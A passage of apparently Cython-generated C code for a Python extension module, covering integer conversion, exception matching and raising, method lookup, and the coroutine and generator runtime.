3 if (likely(v) && !PyLong_Check(v)) { PyObject *tmp = v; v = PyNumber_Long(tmp); Py_DECREF(tmp); } #endif if (likely(v)) { int one = 1; int is_little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&val; int ret = _PyLong_AsByteArray((PyLongObject *)v, bytes, sizeof(val), is_little, !is_unsigned); Py_DECREF(v); if (likely(!ret)) return val; } #endif return (long) -1; } } else { long val; PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); if (!tmp) return (long) -1; val = __Pyx_PyInt_As_long(tmp); Py_DECREF(tmp); return val; } raise_overflow: PyErr_SetString(PyExc_OverflowError, "value too large to convert to long"); return (long) -1; raise_neg_overflow: PyErr_SetString(PyExc_OverflowError, "can't convert negative value to long"); return (long) -1; } /* FastTypeChecks */ #if CYTHON_COMPILING_IN_CPYTHON static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { while (a) { a = a->tp_base; if (a == b) return 1; } return b == &PyBaseObject_Type; } static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { PyObject *mro; if (a == b) return 1; mro = a->tp_mro; if (likely(mro)) { Py_ssize_t i, n; n = PyTuple_GET_SIZE(mro); for (i = 0; i < n; i++) { if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) return 1; } return 0; } return __Pyx_InBases(a, b); } #if PY_MAJOR_VERSION == 2 static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { PyObject *exception, *value, *tb; int res; __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ErrFetch(&exception, &value, &tb); res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; if (unlikely(res == -1)) { PyErr_WriteUnraisable(err); res = 0; } if (!res) { res = PyObject_IsSubclass(err, exc_type2); if (unlikely(res == -1)) { PyErr_WriteUnraisable(err); res = 0; } } __Pyx_ErrRestore(exception, value, tb); return res; } #else static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { int res = exc_type1 ? __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type1) : 0; if (!res) { res = __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); } return res; } #endif static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { Py_ssize_t i, n; assert(PyExceptionClass_Check(exc_type)); n = PyTuple_GET_SIZE(tuple); #if PY_MAJOR_VERSION >= 3 for (i=0; i<n; i++) { if (exc_type == PyTuple_GET_ITEM(tuple, i)) return 1; } #endif for (i=0; i<n; i++) { PyObject *t = PyTuple_GET_ITEM(tuple, i); #if PY_MAJOR_VERSION < 3 if (likely(exc_type == t)) return 1; #endif if (likely(PyExceptionClass_Check(t))) { if (__Pyx_inner_PyErr_GivenExceptionMatches2(exc_type, NULL, t)) return 1; } else { } } return 0; } static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject* exc_type) { if (likely(err == exc_type)) return 1; if (likely(PyExceptionClass_Check(err))) { if (likely(PyExceptionClass_Check(exc_type))) { return __Pyx_inner_PyErr_GivenExceptionMatches2(err, NULL, exc_type); } else if (likely(PyTuple_Check(exc_type))) { return __Pyx_PyErr_GivenExceptionMatchesTuple(err, exc_type); } else { } } return PyErr_GivenExceptionMatches(err, exc_type); } static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *exc_type1, PyObject *exc_type2) { assert(PyExceptionClass_Check(exc_type1)); assert(PyExceptionClass_Check(exc_type2)); if (likely(err == exc_type1 || err == exc_type2)) return 1; if (likely(PyExceptionClass_Check(err))) { return __Pyx_inner_PyErr_GivenExceptionMatches2(err, exc_type1, exc_type2); } return (PyErr_GivenExceptionMatches(err, exc_type1) || PyErr_GivenExceptionMatches(err, exc_type2)); } #endif /* RaiseException */ #if PY_MAJOR_VERSION < 3 static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, CYTHON_UNUSED PyObject *cause) { __Pyx_PyThreadState_declare Py_XINCREF(type); if (!value || value == Py_None) value = NULL; else Py_INCREF(value); if (!tb || tb == Py_None) tb = NULL; else { Py_INCREF(tb); if (!PyTraceBack_Check(tb)) { PyErr_SetString(PyExc_TypeError, "raise: arg 3 must be a traceback or None"); goto raise_error; } } if (PyType_Check(type)) { #if CYTHON_COMPILING_IN_PYPY if (!value) { Py_INCREF(Py_None); value = Py_None; } #endif PyErr_NormalizeException(&type, &value, &tb); } else { if (value) { PyErr_SetString(PyExc_TypeError, "instance exception may not have a separate value"); goto raise_error; } value = type; type = (PyObject*) Py_TYPE(type); Py_INCREF(type); if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { PyErr_SetString(PyExc_TypeError, "raise: exception class must be a subclass of BaseException"); goto raise_error; } } __Pyx_PyThreadState_assign __Pyx_ErrRestore(type, value, tb); return; raise_error: Py_XDECREF(value); Py_XDECREF(type); Py_XDECREF(tb); return; } #else static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { PyObject* owned_instance = NULL; if (tb == Py_None) { tb = 0; } else if (tb && !PyTraceBack_Check(tb)) { PyErr_SetString(PyExc_TypeError, "raise: arg 3 must be a traceback or None"); goto bad; } if (value == Py_None) value = 0; if (PyExceptionInstance_Check(type)) { if (value) { PyErr_SetString(PyExc_TypeError, "instance exception may not have a separate value"); goto bad; } value = type; type = (PyObject*) Py_TYPE(value); } else if (PyExceptionClass_Check(type)) { PyObject *instance_class = NULL; if (value && PyExceptionInstance_Check(value)) { instance_class = (PyObject*) Py_TYPE(value); if (instance_class != type) { int is_subclass = PyObject_IsSubclass(instance_class, type); if (!is_subclass) { instance_class = NULL; } else if (unlikely(is_subclass == -1)) { goto bad; } else { type = instance_class; } } } if (!instance_class) { PyObject *args; if (!value) args = PyTuple_New(0); else if (PyTuple_Check(value)) { Py_INCREF(value); args = value; } else args = PyTuple_Pack(1, value); if (!args) goto bad; owned_instance = PyObject_Call(type, args, NULL); Py_DECREF(args); if (!owned_instance) goto bad; value = owned_instance; if (!PyExceptionInstance_Check(value)) { PyErr_Format(PyExc_TypeError, "calling %R should have returned an instance of " "BaseException, not %R", type, Py_TYPE(value)); goto bad; } } } else { PyErr_SetString(PyExc_TypeError, "raise: exception class must be a subclass of BaseException"); goto bad; } if (cause) { PyObject *fixed_cause; if (cause == Py_None) { fixed_cause = NULL; } else if (PyExceptionClass_Check(cause)) { fixed_cause = PyObject_CallObject(cause, NULL); if (fixed_cause == NULL) goto bad; } else if (PyExceptionInstance_Check(cause)) { fixed_cause = cause; Py_INCREF(fixed_cause); } else { PyErr_SetString(PyExc_TypeError, "exception causes must derive from " "BaseException"); goto bad; } PyException_SetCause(value, fixed_cause); } PyErr_SetObject(type, value); if (tb) { #if CYTHON_COMPILING_IN_PYPY PyObject *tmp_type, *tmp_value, *tmp_tb; PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); Py_INCREF(tb); PyErr_Restore(tmp_type, tmp_value, tb); Py_XDECREF(tmp_tb); #else PyThreadState *tstate = __Pyx_PyThreadState_Current; PyObject* tmp_tb = tstate->curexc_traceback; if (tb != tmp_tb) { Py_INCREF(tb); tstate->curexc_traceback = tb; Py_XDECREF(tmp_tb); } #endif } bad: Py_XDECREF(owned_instance); return; } #endif /* SwapException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; #if CYTHON_USE_EXC_INFO_STACK _PyErr_StackItem *exc_info = tstate->exc_info; tmp_type = exc_info->exc_type; tmp_value = exc_info->exc_value; tmp_tb = exc_info->exc_traceback; exc_info->exc_type = *type; exc_info->exc_value = *value; exc_info->exc_traceback = *tb; #else tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = *type; tstate->exc_value = *value; tstate->exc_traceback = *tb; #endif *type = tmp_type; *value = tmp_value; *tb = tmp_tb; } #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); PyErr_SetExcInfo(*type, *value, *tb); *type = tmp_type; *value = tmp_value; *tb = tmp_tb; } #endif /* PyObjectGetMethod */ static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method) { PyObject *attr; #if CYTHON_UNPACK_METHODS && CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_PYTYPE_LOOKUP PyTypeObject *tp = Py_TYPE(obj); PyObject *descr; descrgetfunc f = NULL; PyObject **dictptr, *dict; int meth_found = 0; assert (*method == NULL); if (unlikely(tp->tp_getattro != PyObject_GenericGetAttr)) { attr = __Pyx_PyObject_GetAttrStr(obj, name); goto try_unpack; } if (unlikely(tp->tp_dict == NULL) && unlikely(PyType_Ready(tp) < 0)) { return 0; } descr = _PyType_Lookup(tp, name); if (likely(descr != NULL)) { Py_INCREF(descr); #if PY_MAJOR_VERSION >= 3 #ifdef __Pyx_CyFunction_USED if (likely(PyFunction_Check(descr) || (Py_TYPE(descr) == &PyMethodDescr_Type) || __Pyx_CyFunction_Check(descr))) #else if (likely(PyFunction_Check(descr) || (Py_TYPE(descr) == &PyMethodDescr_Type))) #endif #else #ifdef __Pyx_CyFunction_USED if (likely(PyFunction_Check(descr) || __Pyx_CyFunction_Check(descr))) #else if (likely(PyFunction_Check(descr))) #endif #endif { meth_found = 1; } else { f = Py_TYPE(descr)->tp_descr_get; if (f != NULL && PyDescr_IsData(descr)) { attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); Py_DECREF(descr); goto try_unpack; } } } dictptr = _PyObject_GetDictPtr(obj); if (dictptr != NULL && (dict = *dictptr) != NULL) { Py_INCREF(dict); attr = __Pyx_PyDict_GetItemStr(dict, name); if (attr != NULL) { Py_INCREF(attr); Py_DECREF(dict); Py_XDECREF(descr); goto try_unpack; } Py_DECREF(dict); } if (meth_found) { *method = descr; return 1; } if (f != NULL) { attr = f(descr, obj, (PyObject *)Py_TYPE(obj)); Py_DECREF(descr); goto try_unpack; } if (descr != NULL) { *method = descr; return 0; } PyErr_Format(PyExc_AttributeError, #if PY_MAJOR_VERSION >= 3 "'%.50s' object has no attribute '%U'", tp->tp_name, name); #else "'%.50s' object has no attribute '%.400s'", tp->tp_name, PyString_AS_STRING(name)); #endif return 0; #else attr = __Pyx_PyObject_GetAttrStr(obj, name); goto try_unpack; #endif try_unpack: #if CYTHON_UNPACK_METHODS if (likely(attr) && PyMethod_Check(attr) && likely(PyMethod_GET_SELF(attr) == obj)) { PyObject *function = PyMethod_GET_FUNCTION(attr); Py_INCREF(function); Py_DECREF(attr); *method = function; return 1; } #endif *method = attr; return 0; } /* PyObjectCallMethod1 */ static PyObject* __Pyx__PyObject_CallMethod1(PyObject* method, PyObject* arg) { PyObject *result = __Pyx_PyObject_CallOneArg(method, arg); Py_DECREF(method); return result; } static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { PyObject *method = NULL, *result; int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); if (likely(is_method)) { result = __Pyx_PyObject_Call2Args(method, obj, arg); Py_DECREF(method); return result; } if (unlikely(!method)) return NULL; return __Pyx__PyObject_CallMethod1(method, arg); } /* CoroutineBase */ #include <structmember.h> #include <frameobject.h> #define __Pyx_Coroutine_Undelegate(gen) Py_CLEAR((gen)->yieldfrom) static int __Pyx_PyGen__FetchStopIterationValue(CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject **pvalue) { PyObject *et, *ev, *tb; PyObject *value = NULL; __Pyx_ErrFetch(&et, &ev, &tb); if (!et) { Py_XDECREF(tb); Py_XDECREF(ev); Py_INCREF(Py_None); *pvalue = Py_None; return 0; } if (likely(et == PyExc_StopIteration)) { if (!ev) { Py_INCREF(Py_None); value = Py_None; } #if PY_VERSION_HEX >= 0x030300A0 else if (Py_TYPE(ev) == (PyTypeObject*)PyExc_StopIteration) { value = ((PyStopIterationObject *)ev)->value; Py_INCREF(value); Py_DECREF(ev); } #endif else if (unlikely(PyTuple_Check(ev))) { if (PyTuple_GET_SIZE(ev) >= 1) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS value = PyTuple_GET_ITEM(ev, 0); Py_INCREF(value); #else value = PySequence_ITEM(ev, 0); #endif } else { Py_INCREF(Py_None); value = Py_None; } Py_DECREF(ev); } else if (!__Pyx_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration)) { value = ev; } if (likely(value)) { Py_XDECREF(tb); Py_DECREF(et); *pvalue = value; return 0; } } else if (!__Pyx_PyErr_GivenExceptionMatches(et, PyExc_StopIteration)) { __Pyx_ErrRestore(et, ev, tb); return -1; } PyErr_NormalizeException(&et, &ev, &tb); if (unlikely(!PyObject_TypeCheck(ev, (PyTypeObject*)PyExc_StopIteration))) { __Pyx_ErrRestore(et, ev, tb); return -1; } Py_XDECREF(tb); Py_DECREF(et); #if PY_VERSION_HEX >= 0x030300A0 value = ((PyStopIterationObject *)ev)->value; Py_INCREF(value); Py_DECREF(ev); #else { PyObject* args = __Pyx_PyObject_GetAttrStr(ev, __pyx_n_s_args); Py_DECREF(ev); if (likely(args)) { value = PySequence_GetItem(args, 0); Py_DECREF(args); } if (unlikely(!value)) { __Pyx_ErrRestore(NULL, NULL, NULL); Py_INCREF(Py_None); value = Py_None; } } #endif *pvalue = value; return 0; } static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *exc_state) { PyObject *t, *v, *tb; t = exc_state->exc_type; v = exc_state->exc_value; tb = exc_state->exc_traceback; exc_state->exc_type = NULL; exc_state->exc_value = NULL; exc_state->exc_traceback = NULL; Py_XDECREF(t); Py_XDECREF(v); Py_XDECREF(tb); } #define __Pyx_Coroutine_AlreadyRunningError(gen) (__Pyx__Coroutine_AlreadyRunningError(gen), (PyObject*)NULL) static void __Pyx__Coroutine_AlreadyRunningError(CYTHON_UNUSED __pyx_CoroutineObject *gen) { const char *msg; if ((0)) { #ifdef __Pyx_Coroutine_USED } else if (__Pyx_Coroutine_Check((PyObject*)gen)) { msg = "coroutine already executing"; #endif #ifdef __Pyx_AsyncGen_USED } else if (__Pyx_AsyncGen_CheckExact((PyObject*)gen)) { msg = "async generator already executing"; #endif } else { msg = "generator already executing"; } PyErr_SetString(PyExc_ValueError, msg); } #define __Pyx_Coroutine_NotStartedError(gen) (__Pyx__Coroutine_NotStartedError(gen), (PyObject*)NULL) static void __Pyx__Coroutine_NotStartedError(CYTHON_UNUSED PyObject *gen) { const char *msg; if ((0)) { #ifdef __Pyx_Coroutine_USED } else if (__Pyx_Coroutine_Check(gen)) { msg = "can't send non-None value to a just-started coroutine"; #endif #ifdef __Pyx_AsyncGen_USED } else if (__Pyx_AsyncGen_CheckExact(gen)) { msg = "can't send non-None value to a just-started async generator"; #endif } else { msg = "can't send non-None value to a just-started generator"; } PyErr_SetString(PyExc_TypeError, msg); } #define __Pyx_Coroutine_AlreadyTerminatedError(gen, value, closing) (__Pyx__Coroutine_AlreadyTerminatedError(gen, value, closing), (PyObject*)NULL) static void __Pyx__Coroutine_AlreadyTerminatedError(CYTHON_UNUSED PyObject *gen, PyObject *value, CYTHON_UNUSED int closing) { #ifdef __Pyx_Coroutine_USED if (!closing && __Pyx_Coroutine_Check(gen)) { PyErr_SetString(PyExc_RuntimeError, "cannot reuse already awaited coroutine"); } else #endif if (value) { #ifdef __Pyx_AsyncGen_USED if (__Pyx_AsyncGen_CheckExact(gen)) PyErr_SetNone(__Pyx_PyExc_StopAsyncIteration); else #endif PyErr_SetNone(PyExc_StopIteration); } } static PyObject *__Pyx_Coroutine_SendEx(__pyx_CoroutineObject *self, PyObject *value, int closing) { __Pyx_PyThreadState_declare PyThreadState *tstate; __Pyx_ExcInfoStruct *exc_state; PyObject *retval; assert(!self->is_running); if (unlikely(self->resume_label == 0)) { if (unlikely(value && value != Py_None)) { return __Pyx_Coroutine_NotStartedError((PyObject*)self); } } if (unlikely(self->resume_label == -1)) { return __Pyx_Coroutine_AlreadyTerminatedError((PyObject*)self, value, closing); } #if CYTHON_FAST_THREAD_STATE __Pyx_PyThreadState_assign tstate = __pyx_tstate; #else tstate = __Pyx_PyThreadState_Current; #endif exc_state = &self->gi_exc_state; if (exc_state->exc_type) { #if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_PYSTON #else if (exc_state->exc_traceback) { PyTracebackObject *tb = (PyTracebackObject *) exc_state->exc_traceback; PyFrameObject *f = tb->tb_frame; Py_XINCREF(tstate->frame); assert(f->f_back == NULL); f->f_back = tstate->frame; } #endif } #if CYTHON_USE_EXC_INFO_STACK exc_state->previous_item = tstate->exc_info; tstate->exc_info = exc_state; #else if (exc_state->exc_type) { __Pyx_ExceptionSwap(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); } else { __Pyx_Coroutine_ExceptionClear(exc_state); __Pyx_ExceptionSave(&exc_state->exc_type, &exc_state->exc_value, &exc_state->exc_traceback); } #endif self->is_running = 1; retval = self->body((PyObject *) self, tstate, value); self->is_running = 0; #if CYTHON_USE_EXC_INFO_STACK exc_state = &self->gi_exc_state; tstate->exc_info = exc_state->previous_item; exc_state->previous_item = NULL; __Pyx_Coroutine_ResetFrameBackpointer(exc_state); #endif return retval; } static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state) { PyObject *exc_tb = exc_state->exc_traceback; if (likely(exc_tb)) { #if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_PYSTON #else PyTracebackObject *tb = (PyTracebackObject *) exc_tb; PyFrameObject *f = tb->tb_frame; Py_CLEAR(f->f_back); #endif } } static CYTHON_INLINE PyObject *__Pyx_Coroutine_MethodReturn(CYTHON_UNUSED PyObject* gen, PyObject *retval) { if (unlikely(!retval)) { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign if (!__Pyx_PyErr_Occurred()) { PyObject *exc = PyExc_StopIteration; #ifdef __Pyx_AsyncGen_USED if (__Pyx_AsyncGen_CheckExact(gen)) exc = __Pyx_PyExc_StopAsyncIteration; #endif __Pyx_PyErr_SetNone(exc); } } return retval; } #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) static CYTHON_INLINE PyObject *__Pyx_PyGen_Send(PyGenObject *gen, PyObject *arg) { #if PY_VERSION_HEX <= 0x030A00A1 return _PyGen_Send(gen, arg); #else PyObject *result; if (PyIter_Send((PyObject*)gen, arg ? arg : Py_None, &result) == PYGEN_RETURN) { if (PyAsyncGen_CheckExact(gen)) { assert(result == Py_None); PyErr_SetNone(PyExc_StopAsyncIteration); } else if (result == Py_None) { PyErr_SetNone(PyExc_StopIteration); } else { _PyGen_SetStopIterationValue(result); } Py_CLEAR(result); } return result; #endif } #endif static CYTHON_INLINE PyObject *__Pyx_Coroutine_FinishDelegation(__pyx_CoroutineObject *gen) { PyObject *ret; PyObject *val = NULL; __Pyx_Coroutine_Undelegate(gen); __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, &val); ret = __Pyx_Coroutine_SendEx(gen, val, 0); Py_XDECREF(val); return ret; } static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value) { PyObject *retval; __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; PyObject *yf = gen->yieldfrom; if (unlikely(gen->is_running)) return __Pyx_Coroutine_AlreadyRunningError(gen); if (yf) { PyObject *ret; gen->is_running = 1; #ifdef __Pyx_Generator_USED if (__Pyx_Generator_CheckExact(yf)) { ret = __Pyx_Coroutine_Send(yf, value); } else #endif #ifdef __Pyx_Coroutine_USED if (__Pyx_Coroutine_Check(yf)) { ret = __Pyx_Coroutine_Send(yf, value); } else #endif #ifdef __Pyx_AsyncGen_USED if (__pyx_PyAsyncGenASend_CheckExact(yf)) { ret = __Pyx_async_gen_asend_send(yf, value); } else #endif #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) if (PyGen_CheckExact(yf)) { ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); } else #endif #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03050000 && defined(PyCoro_CheckExact) && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) if (PyCoro_CheckExact(yf)) { ret = __Pyx_PyGen_Send((PyGenObject*)yf, value == Py_None ? NULL : value); } else #endif { if (value == Py_None) ret = Py_TYPE(yf)->tp_iternext(yf); else ret = __Pyx_PyObject_CallMethod1(yf, __pyx_n_s_send, value); } gen->is_running = 0; if (likely(ret)) { return ret; } retval = __Pyx_Coroutine_FinishDelegation(gen); } else { retval = __Pyx_Coroutine_SendEx(gen, value, 0); } return __Pyx_Coroutine_MethodReturn(self, retval); } static int __Pyx_Coroutine_CloseIter(__pyx_CoroutineObject *gen, PyObject *yf) { PyObject *retval = NULL; int err = 0; #ifdef __Pyx_Generator_USED if (__Pyx_Generator_CheckExact(yf)) { retval = __Pyx_Coroutine_Close(yf); if (!retval) return -1; } else #endif #ifdef __Pyx_Coroutine_USED if (__Pyx_Coroutine_Check(yf)) { retval = __Pyx_Coroutine_Close(yf); if (!retval) return -1; } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { retval = __Pyx_CoroutineAwait_Close((__pyx_CoroutineAwaitObject*)yf, NULL); if (!retval) return -1; } else #endif #ifdef __Pyx_AsyncGen_USED if (__pyx_PyAsyncGenASend_CheckExact(yf)) { retval = __Pyx_async_gen_asend_close(yf, NULL); } else if (__pyx_PyAsyncGenAThrow_CheckExact(yf)) { retval = __Pyx_async_gen_athrow_close(yf, NULL); } else #endif { PyObject *meth; gen->is_running = 1; meth = __Pyx_PyObject_GetAttrStr(yf, __pyx_n_s_close); if (unlikely(!meth)) { if (!PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_WriteUnraisable(yf); } PyErr_Clear(); } else { retval = PyObject_CallFunction(meth, NULL); Py_DECREF(meth); if (!retval) err = -1; } gen->is_running = 0; } Py_XDECREF(retval); return err; } static PyObject *__Pyx_Generator_Next(PyObject *self) { __pyx_CoroutineObject *gen = (__pyx_CoroutineObject*) self; PyObject *yf = gen->yieldfrom; if (unlikely(gen->is_running)) return __Pyx_Coroutine_AlreadyRunningError(gen); if (yf) { PyObject *ret; gen->is_running = 1; #ifdef __Pyx_Generator_USED if (__Pyx_Generator_CheckExact(yf)) { ret = __Pyx_Generator_Next(yf); } else #endif #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03030000 && (defined(__linux__) || PY_VERSION_HEX >= 0x030600B3) if (PyGen_CheckExact(yf)) { ret = __Pyx_PyGen_Send((PyGenObject*)yf, NULL); } else #endif #ifdef __Pyx_Coroutine_USED if (__Pyx_Coroutine_Check(yf)) { ret = __Pyx_Coroutine_Send(yf, Py_None); } else #endif ret = Py_TYPE(yf)->tp_iternext(yf); gen->is_running = 0; if (likely(ret)) { return ret; } return __Pyx_Coroutine_FinishDelegation(gen); } return __Pyx_Coroutine_SendEx(gen, Py_None, 0); } static PyObject *__Pyx_Coroutine_Close_Method(PyObject *self, CYTHON_UNUSED PyObject *arg) { return __Pyx_Coroutine_Close(self); } static PyObject *__Pyx_Coroutine_Close(PyObject *self) { __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; PyObject *retval, *raised_exception; PyObject *yf = gen->yieldfrom; int err = 0; if (unlikely(gen->is_running)) return __Pyx_Coroutine_AlreadyRunningError(gen); if (yf) { Py_INCREF(yf); err = __Pyx_Coroutine_CloseIter(gen, yf); __Pyx_Coroutine_Undelegate(gen); Py_DECREF(yf); } if (err == 0) PyErr_SetNone(PyExc_GeneratorExit); retval = __Pyx_Coroutine_SendEx(gen, NULL, 1); if (unlikely(retval)) { const char *msg; Py_DECREF(retval); if ((0)) { #ifdef __Pyx_Coroutine_USED } else if (__Pyx_Coroutine_Check(self)) { msg = "coroutine ignored GeneratorExit"; #endif #ifdef __Pyx_AsyncGen_USED } else if (__Pyx_AsyncGen_CheckExact(self)) { #if PY_VERSION_HEX < 0x03060000 msg = "async generator ignored GeneratorExit - might require Python 3.6+ finalisation (PEP 525)"; #else msg = "async generator ignored GeneratorExit"; #endif #endif } else { msg = "generator ignored GeneratorExit"; } PyErr_SetString(PyExc_RuntimeError, msg); return NULL; } raised_exception = PyErr_Occurred(); if (likely(!raised_exception || __Pyx_PyErr_GivenExceptionMatches2(raised_exception, PyExc_GeneratorExit, PyExc_StopIteration))) { if (raised_exception) PyErr_Clear(); Py_INCREF(Py_None); return Py_None; } return NULL; } static PyObject *__Pyx__Coroutine_Throw(PyObject *self, PyObject *typ, PyObject *val, PyObject *tb, PyObject *args, int close_on_genexit) { __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; PyObject *yf = gen->yieldfrom; if (unlikely(gen->is_running)) return __Pyx_Coroutine_AlreadyRunningError(gen); if (yf) { PyObject *ret; Py_INCREF(yf); if (__Pyx_PyErr_GivenExceptionMatches(typ, PyExc_GeneratorExit) && close_on_genexit) { int err = __Pyx_Coroutine_CloseIter(gen, yf); Py_DECREF(yf); __Pyx_Coroutine_Undelegate(gen); if (err < 0) return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); goto throw_here; } gen->is_running = 1; if (0 #ifdef __Pyx_Generator_USED || __Pyx_Generator_CheckExact(yf) #endif #ifdef __Pyx_Coroutine_USED || __Pyx_Coroutine_Check(yf) #endif ) { ret = __Pyx__Coroutine_Throw(yf, typ, val, tb, args, close_on_genexit); #ifdef __Pyx_Coroutine_USED } else if (__Pyx_CoroutineAwait_CheckExact(yf)) { ret = __Pyx__Coroutine_Throw(((__pyx_CoroutineAwaitObject*)yf)->coroutine, typ, val, tb, args, close_on_genexit); #endif } else { PyObject *meth = __Pyx_PyObject_GetAttrStr(yf, __pyx_n_s_throw); if (unlikely(!meth)) { Py_DECREF(yf); if (!PyErr_ExceptionMatches(PyExc_AttributeError)) { gen->is_running = 0; return NULL; } PyErr_Clear(); __Pyx_Coroutine_Undelegate(gen); gen->is_running = 0; goto throw_here; } if (likely(args)) { ret = PyObject_CallObject(meth, args); } else { ret = PyObject_CallFunctionObjArgs(meth, typ, val, tb, NULL); } Py_DECREF(meth); } gen->is_running = 0; Py_DECREF(yf); if (!ret) { ret = __Pyx_Coroutine_FinishDelegation(gen); } return __Pyx_Coroutine_MethodReturn(self, ret); } throw_here: __Pyx_Raise(typ, val, tb, NULL); return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); } static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { PyObject *typ; PyObject *val = NULL; PyObject *tb = NULL; if (!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb)) return NULL; return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); } static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { Py_VISIT(exc_state->exc_type); Py_VISIT(exc_state->exc_value); Py_VISIT(exc_state->exc_traceback); return 0; } static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { Py_VISIT(gen->closure); Py_VISIT(gen->classobj); Py_VISIT(gen->yieldfrom); return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); } static int __Pyx_Coroutine_clear(PyObject *self) { __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; Py_CLEAR(gen->closure); Py_CLEAR(gen->classobj); Py_CLEAR(gen->yieldfrom); __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); #ifdef __Pyx_AsyncGen_USED if (__Pyx_AsyncGen_CheckExact(self)) { Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); } #endif Py_CLEAR(gen->gi_code); Py_CLEAR(gen->gi_frame); Py_CLEAR(gen->gi_name); Py_CLEAR(gen->gi_qualname); Py_CLEAR(gen->gi_modulename); return 0; } static void __Pyx_Coroutine_dealloc(PyObject *self) { __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; PyObject_GC_UnTrack(gen); if (gen->gi_weakreflist != NULL) PyObject_ClearWeakRefs(self); if (gen->resume_label >= 0) { PyObject_GC_Track(self); #if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE if (PyObject_CallFinalizerFromDealloc(self)) #else Py_TYPE(gen)->tp_del(self); if (Py_REFCNT(self) > 0) #endif { return; } PyObject_GC_UnTrack(self); } #ifdef __Pyx_AsyncGen_USED if (__Pyx_AsyncGen_CheckExact(self)) { /* We have to handle this case for asynchronous generators right here, because this code has to be between UNTRACK and GC_Del. */ Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); } #endif __Pyx_Coroutine_clear(self); PyObject_GC_Del(gen); } static void __Pyx_Coroutine_del(PyObject *self) { PyObject *error_type, *error_value, *error_traceback; __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; __Pyx_PyThreadState_declare if (gen->resume_label < 0) { return; } #if !CYTHON_USE_TP_FINALIZE 